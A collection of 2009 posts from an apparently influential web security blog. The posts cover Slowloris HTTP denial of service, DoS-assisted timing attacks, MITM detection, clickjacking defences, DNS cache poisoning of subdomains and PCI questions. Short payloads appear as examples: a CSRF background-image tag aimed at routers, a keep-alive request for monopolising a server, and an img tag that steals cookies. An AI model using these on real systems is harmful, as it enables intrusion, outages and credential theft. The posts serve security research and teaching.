One of the single most annoying things about CSRF and router hacking etc… is that you get the annoying popups on Basic and Digest authentication pages, asking you to log in. More and more devices are moving away from these popup style alerts and moving more towards form based authentication, which is better from a hacking perspective. But still, I would say the vast majority of firewall/switch/router devices out there use Basic or Digest based authentication. The problem with that from an attacker’s perspective is that it creates a noisy popup if it fails (if the user isn’t authenticated) that the user is bound to notice and question. Well, now we have an answer - at least in Internet Explorer:

<DIV STYLE="background-image: url(http://router/path.to.hack)">blah</DIV>

I know there are others tags that work, but probably not as well as this method from what I’ve seen so far. I haven’t found a reliable way in other browsers to allow this to happen, but I’ve only barely scratched the surface of the vast number of CSRFable tags out there. But anyway, yes, this doesn’t cause the Basic or Digest auth dialog to fire so it will be more stealthy upon performing a CSRF that fails. Of course for POST based CSRF you’re still out of luck…

Greater Precision in Timing Attacks Using DoS

Posted: June 27th, 2009, 7:46pm CDT by RSnake

Tags: Webappsec [edit]

Because of all of the stuff that happened over the last week or so regarding Slowloris, I started thinking about other ways to use DoS to aid in existing attacks. A lot of times it’s really the opposite of what an attacker wants to do. Typically the attacker wants to keep the system alive so they can steal information from it or break into it. The more it stays up the better.

As I mentioned a few days ago, there is one way you can use the site by keeping a session open that you initiated prior to the attack, so that essentially you are the only person on the system - or one of only a handful at best. Well one place this helps you is with timing attacks. If you know a system tends to react to load because of the heavy database calls or you just aren’t certain what the effect of a lot of users are, you have an option - denial of service.

By denying service to everyone except you, you can remove the bandwidth and database chatter, and give you far more precise information about what is going on at the code and database levels. By examining the timing differences between a valid username that you know exists and an invalid one you know cannot exist you can create lists of valid usernames, or at minimum identify what the timing should be for both use cases with and without load. Again, this is another virtue of a DoS attack that leaves you alone on the system but stops everyone else from connecting. Having no one else is there to pester you or give you erroneous results is a timing attack dream come true.

Detecting MITM/Hacking Proxies Via SSL

Posted: June 21st, 2009, 10:49am CDT by RSnake

Tags: Webappsec [edit]

There are several different ways for MITM/hacking proxies to handle SSL. They can create a self signed root cert that the attacker/user accepts once, they can do a per site snake oil cert, or they can simply downgrade the attacker/user to HTTP (a la Moxie’s sslstrip). Any of those work, and it’s kind of a matter of preference and circumstance as to which is better. But what if I’m running a site and I want to see if the user coming in is using a hacking proxy? There’s a few techniques to do that.

First of all there’s really not all that much you can do within SSL itself to create more than binary options (there are some exceptions to that rule, and I’ll post about that later) but those binary options are actually just enough. Let’s say I have several sites. One of which is a banking site. The others just have something as simple as a tracking pixel on them. Firstly, the time difference between when the user pulls the SSL certificate and actually instantiates the site might indicate whether they are going directly to the site or if they had to take some time to accept a self signed-per site certificate (a la Burp Suite).

Now if the MITM proxy uses a standard root signing certificate one of those sites with the tracking pixels on them can use the same standard root signing certificate (since it’s sitting right there in the tool and can probably easily be ripped out and re-tasked to be used on the banking’s tracking pixel site) to sign it’s own SSL session. If the user pulls it down anyway, even with the mis-match error, you know they are either using or have used that particular MITM proxy.

Another pixel might be protected by a snake oil SSL certificate. If that image is pulled anyway, despite the mis-match error, there is a good chance they are using something like an sslstrip or something like a root signing authority. Because the image is pulled and it shouldn’t be, you know there must be something off here.

Lastly, you can have another completely valid SSL signed site. If they are using something like Burp Suite it will give them a certificate mismatch error and it won’t pull the image (at least not immediately), even though it should. Although the image may get pulled eventually, as the hacker goes through the annoying manual process of adding the cert in or okaying it, the time frames will be so great compared to pulling images on the same site that it should be obvious that they aren’t an average user.

Of course these techniques have strange effects on certain browsers, like the iPhone Safari browser as I talked about before. But if the user is claiming to be one of the common standard browsers, this technique should work - although I’d test it thoroughly before deploying it.

HTTP Longevity During DoS

Posted: June 20th, 2009, 12:32pm CDT by RSnake

Tags: Webappsec [edit]

One of the things I noticed early on in my testing of Slowloris was that not every server reacted like you’d expect it to. Some gave database errors - I’m assuming because the database connections had different limits than the HTTP server. Whatever the reason, it only seemed vaguely interesting at first, from a fingerprinting perspective. The other issue is that to “see” the issue I had to basically hit a race condition by connecting to the webserver with my browser right in the split second as the sockets were being freed but before the database could recover. Not exactly the best way to go about things.

Then I started thinking about HTTP pipelining works in browsers, and also how HTTP sessions can send more than one request over a single socket. So imagine this. A server is under a Slowloris attack and either prior to the attack or by re-purposing one of the existing sockets to send something like the following:

GET / HTTP/1.1
Host: www.whatever.com
User-Agent: Mozilla/4.0 …
Connection: Keep-Alive
Accept-Encoding: identity, *;q=0
Accept-Language: en
Range: bytes=0-10

On some web servers this will only send back a small amount of information because of the Range request header (the first ten bytes) which is awfully similar to a HEAD request, in terms of not wasting your bandwidth looking at something you don’t care about while you wait for the attack to ramp up. But more importantly the Keep-Alive will allow you to then send a second request a while later and then another one and so on…

What that means is that you can be the one person sitting at a very large table - you’ll have the website all to yourself. That’s because all the other sockets are tied up, so that no one else can use the site. With some re-programming Slowloris could be capable of that task, or a secondary program could be used to initiate and hold open a certain amount of sockets that you can use and re-use as you probe the site or use it in peace - because no one else will be on the site to bother you. It’s just another interesting side effect of a DoS that only denies the service to everyone - except you.

Slowloris HTTP DoS

Posted: June 17th, 2009, 10:32am CDT by RSnake

Tags: Webappsec [edit]

UPDATE: Amit Klein pointed me to a post written by Adrian Ilarion Ciobanu written in early 2007 that perfectly describes this denial of service attack. It was also described in 2005 in the “Programming Model Attacks” section of Apache Security. So although there was no tool released at that time these two still technically deserves all the credit for this. I apologize for having missed these.

As you may recall at one point a few weeks back I talked about how denial of service can be used for hacking and not just yet another script kiddy tool. Well I wasn’t speaking totally hypothetically. A month ago, or so, I was pondering Jack Louis (RIP) and Robert E Lee’s Sockstress, and I got the feeling that other unrelated low bandwidth attacks were possible. Then I randomly started thinking about the way Apache works and figured out that it may be possible to create something similar to a SYN flood, but in HTTP.

Slowloris was born. It basically uses a concept of keeping an HTTP session alive indefinitely (or as long as possible) and repeating that process a few hundred times. So in my testing, against an unprotected and lone Apache server, you can expect to be able to take it offline in a few thousand packets or less on average, and then you can let the server come back again as soon as you kill the process. It also has some stealth features, including a method of bypassing HTTPReady protection. Why is this noteworthy?

Typical flooding attacks require tons and tons of packets and end up denying service to other applications as a result. By creating a flood of TCP requests, sure you can take down an upstream router, or a web server, but it’s overkill if you really just want to take down a single website. Slowloris does this without sending an overabundance of TCP or HTTP traffic, and it does so without increasing the load significantly, or in any other way hurting the box (assuming other things aren’t tied to the HTTP processes - like a database for instance). This appears to only affect certain types of webservers (generally those that thread processes, like Apache, but not like IIS).

So I contacted Apache a week ago, because I was a little concerned that I hadn’t heard much about this, other than one conversation with HD Moore about a similar attack he encountered using a different payload. I expected a well thought through response, given their dominance in the server market and the fact that I gave them an early copy of the code. Alas:

DoS attacks by tying up TCP connections are expected. Please see:

[httpd.apache.org]

Regards, Joe

Yes, that was the entire response. So, while RTFM is a perfectly valid response on the Internet, it’s also extremely short sighted, because almost no servers are configured properly - or if they are, it’s as a side effect of needing load balancing or something upstream that happens to protect them. Also, if you actually read that Apache.org page, it really doesn’t cover this attack at all. And Joe sorta totally missed the boat or at least mis-typed in his brevity, because this isn’t a TCP DoS, it’s an HTTP DoS. If your server used UDP and I re-wrote Slowloris to speak UDP it would work too. The best example of how this differs from a TCP DoS is the fact that other unrelated services are unaffected, and you can still connect to them like you normally would.

The reason this works is because the web server will patiently wait well beyond what is reasonable, allowing an attacker to consume all of the available threads of which there are a finite amount. That makes it a web server problem, not a OS or networking problem, although there may be OS or network solutions to Apache’s default configuration issues. This is further evidenced by the fact that IIS isn’t vulnerable to Slowloris in it’s current incarnation. Even if Apache and IIS are on the same physical box, Apache will be affected but IIS will not. That would lead me to believe it’s a architectural flaw in Apache’s default web server’s design. Though this isn’t just Apache’s problem, to be fair. Other web servers are vulnerable as well, although none come close to the size of Apache in terms of market share. You can find more information on the Slowloris page.

Anyway, I hope this gets people thinking about better web server architecture. That’s especially true if this is “expected” behavior of their web server, and at least offer a default configuration that can protect from this sort of attack, instead of having to jump through a bunch of convoluted hoops. I thought it would be better to open this up for discussion, so I encourage you to try out the tool in QA or staging and see how your web server handles it. The software is very beta though, so do not use this against anything in production - I make no warranties about its ability to do anything outside of a lab environment!

RFC1918 Blues

Posted: June 8th, 2009, 3:02pm CDT by RSnake

Tags: Webappsec [edit]

Well, it’s been quite a week or so for me. 7 days of travel, to Las Vegas for SANS and Stockholm for the penetration testing summit. Man, I’m tired! But I promised tons of people I’d actually write out what I was talking about during my speeches, since it’s tough to cover everything in such a short presentation, with all the other things I was talking about, and now that I’m finally recovered from my jet lag, I had a chance to sit down and write it all out. For those of you who have no idea what I’m talking about, don’t worry, you’re not behind the times. You can read the whole RFC1918 issue here. I tried to make it into a blog post, but it kept getting longer and longer, so I just turned it into a whitepaper instead because it’s easier.

Without re-explaining the paper, it turns out that in certain browser, and with certain VPN and the current architecture of most RFC1918 networks, there is a high tendency for bad things to inadvertently happen, like IP collisions. That’s annoying in the networking world (and a well known problem) but it’s dangerous in the security world (and far less understood). Anyway, I talked it over with HD Moore and Toby and some of the other guys at SANS and it turns out they had actually seen similar things happen in the past, so it’s been validated in the wild (again, inadvertently though).

Using Denial of Service for Hacking

Posted: May 4th, 2009, 9:10am CDT by RSnake

Tags: Webappsec [edit]

Happy Monday! I spent the better part of this weekend thinking about denial of service, but rather than releasing a tool, I thought it would be worthwhile to talk about how denial of service attacks could be used in tandem with other attacks to exploit other logical or business issues. Let’s take a few examples:

Timing: Let’s say you have a site that accepts bids up to a certain time of day - say an auction site or a site that allows you to bid on work or whatever. Most of the time people submit their bids as close to the deadline as they can so that their competitors don’t have time to revise their bids. Sure, you can write a robot to come in at the last fraction of a microsecond and underbid, but what if you want to keep your bid highest or lowest (depending on the type of site)? Well by submitting your bid earliest and then denying service to the application for the remainder of the time your competitors don’t have a chance to submit their bids.

Web services: Sometimes, it’s not a matter of denying service to the site itself, which may have all sorts of robust protections in place, but sometimes the web service is actually more interesting. This could include things like authentication or even email. Let’s say I know someone is traveling and they use their phone to get their email. If I know they are in charge of responding to events, I can deny service to the webmail server and poof - suddenly they are no longer getting updates that something else is going on that they need to take care of.

Diversionary: And that leads us to the last item on the list which is using denial of service as a diversionary tactic. Sure, we can just do the bad thing that we intend to, but wouldn’t it be so much better to throw a red herring in there to cause them to look in the wrong place while the attacker stealthily gets whatever he wants elsewhere?

Anyway, it’s an interesting concept to talk about. I think most people think of DoS as a simple script kiddy menace without considering it’s other useful purposes. And now, with a case of the Mondays, it’s time to buckle down for a lonnng week.

Permalink for 'ha.ckers.org_web_application_security_lab/2009/04/20/Google_%e2%80%9cWhat%e2%80%99s_Up%e2%80%9d_CAPTCHA'

Google “What’s Up” CAPTCHA

Posted: April 20th, 2009, 2:16pm CDT by RSnake

Tags: Webappsec [edit]

I don’t have time for a full blown Google rant today, but I was forward this link today and I couldn’t believe my eyes. This is Google’s “What’s Up” CAPTCHA. You know, when I first heard about it it was described to me as “a picture and you have to tell it which way is up”. So my first reaction was “that’s a terrible CAPTCHA - only one in four chance.” Well, it’s not that bad. If you actually read the paper it’s actually a 1/22 chance (assuming no optimizations).

There are other problems with this though - like the fact that it relies on a set of pictures and someone has to make a judgment call on what is the correct position. I bet it’s easier to solve for humans, but it’s also fairly trivial for robots to solve too. CAPTCHA - what does that mean anyway? Let’s see if Google’s project meets the definition:

Completely Automated - Google employees need to make judgment calls ahead of time on each image orientation, so this requirement of a true CAPTCHA fails and incidentally adds a hidden cost to using the “What’s up” CAPTCHA, although it might not be huge, if you make the set small (which would cause other problems).

Public - well, as public as anything Google does is public. It’s not open source or anything, but it’s out there.

Turing Test to tell Computers - I would argue that it’s not a Turing test at all, because if you have a set of 45 robots that try only one guess a piece Google’s “What’s up” will fail to catch two of them. And again - that’s with zero optimizations. Second major failure making this not actually a CAPTCHA.

and Humans Apart - I think it fails this one as well, since blind people are humans. So are non JavaScript/Flash/CSS wielding users - I know I’m human. So that’s three major failures of one definition alone. Not great!

Someone with far greater math skills than I will some day create the mathematical proof that explains why CAPTCHAs aren’t technically achievable. It’s possible to create tests that are vaguely good at telling computers and humans apart (CAPVGTCHAs perhaps?) but unless my understanding of the universe is way off base, I think CAPTCHAs are modern day perpetual motion machines. Everyone thinks they get it and it can work, but it’s never been done, and no one has come even close, in my mind. Sorry, I know this wasn’t as good a Google rant as I normally come up with, but as one of their guys over there recently told me, “You don’t call, you don’t rant…” I know… too busy!

US Cities Dictionary

Posted: April 17th, 2009, 2:30pm CDT by RSnake

Tags: Webappsec [edit]

Born from much frustration out of not seeing this anywhere else I finally created a dictionary file for all the US cities. I really couldn’t believe such a thing wasn’t already floating around. Tons of companies use US city names as names for hardware devices, passwords for networking devices, and so on. Anyway, it finally came to a head the other day when I was presented with a secret question that said “What is your city of birth?” Well, generally speaking you know that it has to be one out of around 20,000 cities in the US, so if they don’t have any brute force detection on the secret question you can brute force that pretty easily (10,000 guesses on average per account - which only takes about 1/2 an hour if you automate it).

So I looked around places like Packetstorm’s wordlist page and a few other places and finally just decided it was easier to rip one of the GEOIP databases apart and generate my own. So if anyone else has had the same problems, never fear - you can just download the list of US Cities here. Hopefully that will make someone else’s life easier. Happy auditing!

Amazonfail And Anti-Automation

Posted: April 16th, 2009, 3:22pm CDT by RSnake

Tags: Webappsec [edit]

If you haven’t heard about it, Amazon was hit by a pretty interesting attack a few days back, and I thought I should quickly talk about it. A guy named weev was upset that Amazon was pulling the adult content off the site because they were keeping gay and lesbian content. So he found himself a CAPTCHA breaking crew (presumably from this site since he mentioned it) and paid them to create a ton of accounts. Then he used those account to mark all the homosexual materials as offensive content. It took a while for Amazon to recover. You can find a lot of references to the event on Twitter.

So in looking at the scripts weev wrote, although simple they were very effective in the short term. It cause Amazon a lot of grief. There’s a new company called Silver Tail Systems that’s working on an anti-automation/anti-fraud system that would have caught this type of attack in a number of different ways. Namely things like IP address, failure to follow flows properly, HTTP headers, and so on - all leave pretty obvious signals to an automated process. Anyway, I thought it was an interesting attack. Certainly not something you see every day.

Internet Explorer 8 and NoScript View Source Bugs

Posted: April 10th, 2009, 4:43pm CDT by RSnake

Tags: Webappsec [edit]

So I’ve been sitting on two semi boring view source bugs. Not because I was saving them for a rainy day or anything, but it took me a while to think through them properly. Let’s pretend someone who is not entirely clever wants to do forensics on something to be sure the page is doing what they expect it to. This would be something like making sure that the username and password inputs are being posted to the proper SSL enabled website or something. We wouldn’t want that to be subverted so we view source to make sure it’s all kosher. Here come the two bugs.

The first bug is in Internet Explorer 8. Internet Explorer has a typical null byte bug that makes it truncate the new view source function upon reaching a null byte. So if you were to go to a page that had a null byte in the middle of it, the rest of the page wouldn’t pop up. This is not true if you use an external editor or their new nifty Developer Tools functionality, but not many people do either of those. This doesn’t appear to affect any other Internet Explorer version that I looked at.

Next is a bug in NoScript for Firefox. If you enable JavaScript (imagine it’s a site you trust or are forced to enable for various functionality) and POST some data from one page to another and then view source you’ll notice that instead of it sending a POST request it sends a GET request. I have no idea why, but it can be detected and in the case of seeing a GET request on a page that requires a POST the page can modify it’s resultant source code.

Both of these bugs I find to be fairly minor, but it’s just another reason you can’t trust browsers to present you with all the facts of the situation unless you really know what you’re doing. There’s a demo of the code here if you want to test it yourself (again, only works in IE8.0 or in Firefox with NoScript enabled). In either case you must enable JavaScript for it to work. If I don’t post before then and you celebrate it, Happy Easter!

Hacking Without All the Jailtime

Posted: April 6th, 2009, 3:05pm CDT by RSnake

Tags: Webappsec [edit]

There’s been more and more legislation put in place to try to discourage hacking in general, and even tool development. Not that I think it’ll lead to many prosecutions anywhere, but nevertheless, it’s always nice to have a place to test. I got an email from one of my readers asking about the hackme series:

Hello and thank you for an awesome blog, and a daily read.

I while back you mentioned some “ready-made” websites that were used in the web app sec sphere to test scanners and specific tools. More specifically you mentioned 2, one of which that was somewhat depreciated, but still had some educational value. I’ve been looking though your posts, but I have had no success finding this entry.

I’ll do one better - here’s a short list I compiled that includes a lot of the more popular tools for ethical testing, without all the muss and fuss of prison time. If you want to hone your skills or just have some fun at work, try these out (in no particular order):

If there are others that should be added to this list, please drop me a line and I’ll add them. I hope everyone had a good April 1st and that insurance covers whatever was damaged.

iPhone SSL Warning and Safari Phishing

Posted: March 29th, 2009, 11:33am CDT by RSnake

Tags: Webappsec [edit]

As some of you may have noticed, there’s a lot more going on in the SSL world and a lot more to come thanks to guys like Mike Zusman, Alex Sotirov Moxie Marlinspike and so on… Papers forthcoming, but in the mean time I thought I’d point out a pretty nasty UI issue with the iPhone, since it’s been something I’ve been meaning to post about for a while. Given the rise in mobile computing as a legitimate way to do business, I think this kind of thing is going to become more important. If an attacker can gain MITM access through a public wifi that the iPhone is using, they can intercept a page that the user normally uses and trusts somewhat, but doesn’t necessary trust with any sensitive data (like a blog or forum that they frequently visit for instance).

What you’re seeing is a 1×1 pixel iframe (doesn’t need to be visible, but it’s good for testing purposes) to https://www.bofa.com/ which uses an invalid certificate. Don’t ask me why one of the largest banks on earth can’t get their certs in order - that’s just the way it is. Anyway, let’s pretend instead of it being incredible sloppiness, it’s actually a MITM. The user is presented with a popup that in no way explains to them what the cert they are accepting is for. So their first instinct would be to accept it, because they aren’t going to be putting any sensitive information into the page anyway. The problem is that the cert stays with the browser session - so it will continue to work, when the user does eventually surf to their bank or whatever SSL page you’ve MITM’d.

Compare that to the desktop version of Safari, where it at least tells you that it’s related to www.bofa.com. Still not the greatest visual cue but it’s something. Incidentally, during this testing I messed around with some of the old tricks and found out that that Safari still suffers from the old URL obfuscation tricks of ages past. Eg: [www.bofa.com@ha.ckers.org]. *sigh*

Pushing The Limits of Tech

Posted: March 8th, 2009, 7:32pm CDT by RSnake

Tags: Webappsec [edit]

Before I begin this post, let me just say, I’ve always been a huge huge fan of technology. I’ve got more insane tech than almost anyone I know (I know a HD Moore, though, so I don’t win that geek war, but I’m close). And I also like to think I’ve got a firm grasp of the web, but every once in a while something strikes me as just simply stunning. Go here, and watch it - I suggest making it full screen: the new GE smart grid website. Go visit it before you read the rest of this.

I admit it, I’m amazed. It’s very very cool tech. It’s the wave of the future, and as much as I’d like to pretend I think it’s a terrible idea, I don’t. It’s just amazing. Annnnd just as I’m getting ready to set up my printer, get my camera ready, install a plugin and give it complete access to my camera… I pause, as my security brain finally wakes up from it’s amazement. I think we’re soon reaching an inflection point, and in many ways have just simply skipped way past it. What’s the point of the web? Is it to delight and amaze? Is it to allow better consumerism? Is it for communication? Is it to impart information? Is it to download porn? Is it all of those things?

How can we possibly secure ourselves when amazing applications are finally on the horizon that make even hardened security folks want to drop all their guards to join in the party? Am I becoming a Scrooge? “Cool tech - bah humbug!” GE’s application is a wiretapper’s dream application yet I’m compelled to join in and be amazed. *sigh* I guess I’ll just have to watch it again and pretend I don’t want to install it.

Man in the Middle

Posted: March 4th, 2009, 11:00am CST by RSnake

Tags: Webappsec [edit]

There has been a lot going on in the man in the middle space over the last few months. Frankly - I’m impressed. It’s something I haven’t talked much about publicly, but rather something I like to talk about to people at conferences. In fact, some of the innovations in the space is stuff I’ve been trying to get guys like Robert Graham and Dave Maynor to write into ferret for years now. That said, there has finally been some major leaps forward in actual technology to empower really nasty MITM attacks.

One thing I’ve been annoyed with is that although MITM is technically possible, and indeed has even been demonstrated in lab environments a lot, it’s really not all that common, unless you’re talking about passive listening. There’s not a lot of programs that use MITM to actually modify traffic. Modifying it is where you get a lot more bang for your buck. There’s a good paper over at Watchfire about why active man in the middle attacks can give you a lot more. In fact, some of what’s in this paper was actually demonstrate by Rich Mogull at DefCon last year. No one was probably paying any mind to the analyst but that guy is ahead of his time, let me tell you! He was creating iframes to things like the gmail contact list and addresses from yahoo. Cool stuff - and that was just an evil twin.

Also there are a few newish tools that are really important in this space. I think both need to evolve a bit, but they’re both open source, written in python, easy to modify and do 90% of the heavy lifting. So in my mind, active MITM attacks are finally really viable for the average attacker. The first tool is SSL strip written by Moxy. It does a great job of showing how you can just down-convert into an HTTP mode, and most of the time users won’t notice - especially on pages that just post to HTTPS (a huge pet peeve of mine).

The second tool is Middler written by Jay Beale. Jay took the concept to the next level and actually built in most of the DNS spoofing/ARP spoofing part of the attack that you need, so you don’t have to run separate programs to get the attack working. Both programs deserve a lot of praise for getting this attack to be more widely understood and realistic and beyond the passive sniffing that we are all accustomed to with tools like ferret and dsniff. Sure, the concept of a MITM attack is nowhere near new, but now it’s finally accessible to the average attacker - which means it’s something we should really start thinking about, beyond saying HTTPS is a solution to our problems - clearly it is not (and for a lot more reasons than Moxy went into too).

PCI Question of the Day

Posted: February 5th, 2009, 10:58am CST by RSnake

Tags: Webappsec [edit]

I’ve had three different people ask me this question over the last several months and so now I feel like it’s time to answer some of these technical questions. I think there are tons of ambiguities in PCI and I’d like to start hashing them out - and you all can be the judge an jury, if you like. So without further ado, here is the first question, in what might become a recurring blog post theme:

If you’re a merchant who simply iframes your payment gateway, and never collects any information, do you have to use SSL/TLS? The payment gateway’s page already does.

If you look at PCI, there is no strict guidance about this use case, even though it’s coming up pretty often, and really needs to be spelled out clearly. So for the purposes of PCI, I’d say, kinda, it’s a requirement. The two things that specifically mention it are:

- Verify that HTTPS appears as a part of the browser Universal Record Locator (URL).
- Verify that no cardholder data is required when HTTPS does not appear in the URL.

This may not seem all that ambigious at first blush but really, there are tons of issues with these two sentences. Firstly, HTTPS very rarely appears anywhere. I think what they meant to type was https (lowercase). Next it doesn’t specify WHERE it has to appear, just that it is “part” of the URL, so http://www.whatever.com/HTTPS/… is fine. Next, in both bullets it doesn’t specify which URL they’re talking about (the one that’s in your browser or the one that’s being requested). And in the last bullet it doesn’t say that the information can’t be reflected back in a HTTP session, it just says that PII can’t be required of a user. All of these things are ambiguities.

With the increase in use of mashups and widgets there’s going to be more and more websites out there that iframe in some payment gateway or a backend “secure” website that takes in credentials. The problem is there is no way for a user to tell if the site is using SSL/TLS or not since it’s a child frame. The main reason you use SSL/TLS in the first place is to prevent man in the middle attacks from sniffing and modifying the content on the wire. If the attacker can modify the content, they can modify the iframe to point to an unsecure domain (one that they potentially own).

Users would have no idea that it has happened. Even seasoned experts who were just lazy and didn’t bother to read the source (assuming it wasn’t overly convoluted with obfuscated JavaScript), or watch the wire themselves might not know the difference. So while I’m not an ASV, QSA or any other TLA, it’s my opinion that the answer to the question is a resounding “yes”. Sorry mashups and widgets, it’s time to grow up and stop playing in the sandbox. The same thing goes with sites that submit via SSL/TLS but the page with the form on it is unencrypted. Bad idea. And yes, I think it should be specifically mentioned in PCI. Many more uncovered use cases to come, and feel free to send your own questions if you’d like my opinion.

Clickjacking and GuardedID

Posted: February 4th, 2009, 7:13pm CST by RSnake

Tags: Webappsec [edit]

I’m so behind in blog posts, it’s unreal! Feel my pain. Feel it, I tell you!

I’ve received several emails about GuardedID’s clickjacking protection, so I thought I should do a quick post about it. From Michael Brenner:

GuardedID does not interfere with operation of legitimate iFrames, frames, AJAX, or scripted applications. GuardedID does not block operations. It makes potential clickjacks visible to the end user. PLUS, as you mentioned, GuardedID runs on IE8, IE7, and IE6, as well as Firefox 3, 2, and 1.

Clickjack warning is an added benefit, rather than the primary function of our GuardedID product (at least until there is a major loss due to a creative clickjack.)

GuardedID’s primary function is to obfuscate keystrokes so any keyloggers that manage to install on a workstation do not get ID’s and passwords entered into a web browser. (GuardedID, on a percentage basis, is many times more effective at what it does than most anti-virus programs are at blocking viruses.)

GuardedID needs to process the DOM in order to properly identify text input fields. When focus is on a text input and GuardedID is active, GuardedID rewrites the bg color of the field so the user knows that the keystrokes are being encrypted (our marketing term for this indication is “CryptoColor”).

When your clickjack paper hit the headlines last September, our phone rang constantly from users asking if we could help avoid clickjacks, especially in Internet Explorer. Since we already process the entire DOM, we added the two clickjack warning features to GuardedID in response to their requests.

The “Opacity” warning forces frames with “off domain” sources to ALWAYS be visible. The “Placement” warning (called “Show Red Border” in GuardedID) forces the dashed red line around off-domain frames. (Show Red Border is really fun to use on sites like amazon.com who give up space to outside advertisers. The off-site ads are all framed.)

So for those IE users who want to take matters into their own hands rather than waiting for IE8.0 to come out and for every site to adopt X-FRAME-OPTIONS, you have a solution at your disposal to thwart would be clickjackers. I have not tested this tool yet, and it isn’t free, like the NoScript alternative for Firefox, so if someone wants to post user comments here, they would be welcome.

DNS Cache Poisoning Non-existant Subdomains

Posted: February 4th, 2009, 12:01pm CST by RSnake

Tags: Webappsec [edit]

I recall when I first read HD Moore’s writeup about the DNS Cache Poisoning that had happened to his upstream, I though that it was somewhat shortsighted that the attacker chose google.com to cache poison since that was so obvious. Firstly, HD and the others at his company probably actually use Google very frequently, they had already cached the real IP address in their browser so it would take a while to take effect, and most obviously there was the visual cues that tipped him and probably everyone else off since the website didn’t act like Google.

But let’s pretend for a moment the attacker were interested only in credentials, and they knew the website in question set global cookies for the whole domain. Even in the case of SSL this might be a problem if they don’t use the secure flag within the cookie. So the attacker can then use the Kaminsky DNS cache poisoning attack against a non-existant subdomain. So instead of secure.bank.com they cache poison hacker.bank.com, and they point it to their own server.

The attacker then simply gets the user to click on a link or visit the page through a dozen different possible ways, and poof, the credentials for the bank are sent to a subdomain of the bank that the bank doesn’t even own. Setting the secure flag on cookies helps, and making sure your cookies aren’t global in scope is also a good idea. The best part is that it doesn’t have to have any visual cues. A <img src="http://hacker.bank.com/"> is enough to force the credentials to be sent to the fake subdomain. Once the credentials are stolen, the DNS entry gets dumped because the machine goes offline, the cache in the browser can be set to expire immediately, and ultimately no one is the wiser and there is very little forensic evidence that it ever happened.

Google Gets Honest - Then Changes Mind

Posted: January 31st, 2009, 11:38am CST by RSnake

Tags: Webappsec [edit]

In one of the most honest moves in Google’s history, Google admitted to their own customers that their own site is bad and can be used to harm your computer. Don’t believe me?

Click here to enlarge

Okay, okay, so it was just one of the worst tested code rollouts in history, they weren’t actually admitting it (at least not on purpose). The site couldn’t handle the load, and there was a bug. But it sure is funny and ironic since really they are the top rated worst offender yet I highly doubt they will be blocking their own IP space again. At least not on purpose.

hypocrisy [hi-pok-ruh-see] (n) - when living up to your own standards simply won’t do.

Remote File Include Voodoo

Posted: January 28th, 2009, 4:49pm CST by RSnake

Tags: Webappsec [edit]

While traveling through Sweden, I had the opportunity to hang out with a friend of mine, David Jacoby from TrueSec. As we were walking around he told me about a new technique he is working on to use a remote file include exploit in a scenario where the system doesn’t allow outbound access from the webserver. If you actually care about security you’re hopefully doing egress filtering on your firewall which has the great side benefit of making remote file includes fail. Additionally, hopefully you’re using a modern version of PHP which by default disallows remote files to be included. Well, it turns out David found that there’s a way around that.

Barring any other file upload, it’s usually impossible to use a remote file include attack in that situation, but an attacker can inject information into Apache access logs either by URL strings or User Agents, or they can include PHP information in the mail logs by sending email from contact forms, etc… The reason this works, is that the web user typically has the rights to read from those files and those files are in somewhat predictable locations. So instead of including a file from the Internet, you include it from the local file system itself. PHP will parse the file, and run the attacker’s code. Boom.

I typically tell people to make sure the entire file system is not writeable by the web user, but unfortunately those types of files are pretty important to be able to write to for the site’s basic functionality on most systems. However, there is still an option there. You can use commands like chattr (change attribute) under *NIX platforms to make the files writable but not readable by the web user, which would solve that problem, or making it not readable by the web user using chmod - either way. Pretty cool research from David!

IE8.0 and Clickjacking

Posted: January 28th, 2009, 10:59am CST by RSnake

Tags: Webappsec [edit]

I’m sure you’ve heard about the new IE8.0 Clickjacking protection here, here and probably most importantly here on the IE blog. It’s probably time I explain exactly what the pros and cons are of this technology as I see it. It’s a complicated problem for those who aren’t entirely initiated so bear with me.

Pros:

1) It will protect against clickjacking if the header is present.

2) It has some usability improvements over the original idea I heard which is that it can allow same-domain iframes.

3) It doesn’t require a plugin which makes it useful by default for any users of IE8.0. That’s a good thing - now if we could just get Noscript built into the browser too! Firefox currently has no default equivalent and I don’t know of any viable projects underway to create a better fix in any other browser by default. That gives IE an edge in the market for default users, once the browser reaches the user’s desktop.

Cons:

1) It’s proprietary to Microsoft - which means that other browsers aren’t protected on the same site that tries to protect itself. That dramatically reduces the percentage of coverage - but that’s a reasonable issue in my mind because we have to start somewhere and other browsers can adopt it if it’s a good idea. There is precedence for this - HTTPOnly. HTTPOnly was a Microsoft proprietary tag on the end of cookies. They invented that concept many years ago and here we are years later and relatively few sites have adopted it and almost no browsers have adopted the standard, even though I think most security people would agree it has a lot of advantages over normal cookies. So if it took years for developers to add a few bytes of text to a cookie that they were already setting, how much longer is it going to take for them to understand how to set an entirely new HTTP header? If your bet is years, you and I are in agreement.

2) No one uses IE8.0, yet. You wouldn’t believe how many times I’ve gone to a customer’s site and realized that everyone in the company is still on IE6.0! Yes, you heard me, not even 7! It’ll be a long time until we see companies getting with the times (and by the times I mean this century’s tech).

3) Since it’s an HTTP X-header it will severely limit who can protect themselves and in what circumstances they can protect themselves. That’s not altogether a bad thing, because most of the big sites can probably muddle their way through this problem. But it’s not nearly as easy as it would be if the browsers just worked securely by default.

4) There is no way for an average user to know that a site is protected (this was Giorgio’s point). Even more advanced IE users would find it a pain to check every single function on every site to make sure it was sending the proper header. This isn’t that big of a deal in my mind simply because there are tons of things average consumers can’t do. It doesn’t bring any peace of mind though, like an SSL lock does - for whatever real security good that does. But this header isn’t even a public relations win unlike whizbang green EV certs.

5) It doesn’t work for all companies in all situations. Companies like banner advertizers, who need people to be able to click on their sites from other domains, can’t protect themselves because it would break their functionality. Similarly mashups and widgets present a real technical challenge.

If you’re a company and you really want to go through the trouble of implementing this as a short term stop gap for the very few IE8.0 users that visit your website, there may be some shortcuts. For instance, if you have an HTTP gateway (like a F5 load balancer or any sort of HTTP proxy for instance) you may be able to send this header on every request without touching your application logic. Not ideal, of course, but it’s possible and probably a lot cheaper than re-writing a lot of application code to protect those very few users who would be protected. All in all I think this is interesting tech from Microsoft and I’m glad they’re thinking about it. But it’s not a panacea, and you shouldn’t rest easy if you’re an IE8.0 user.

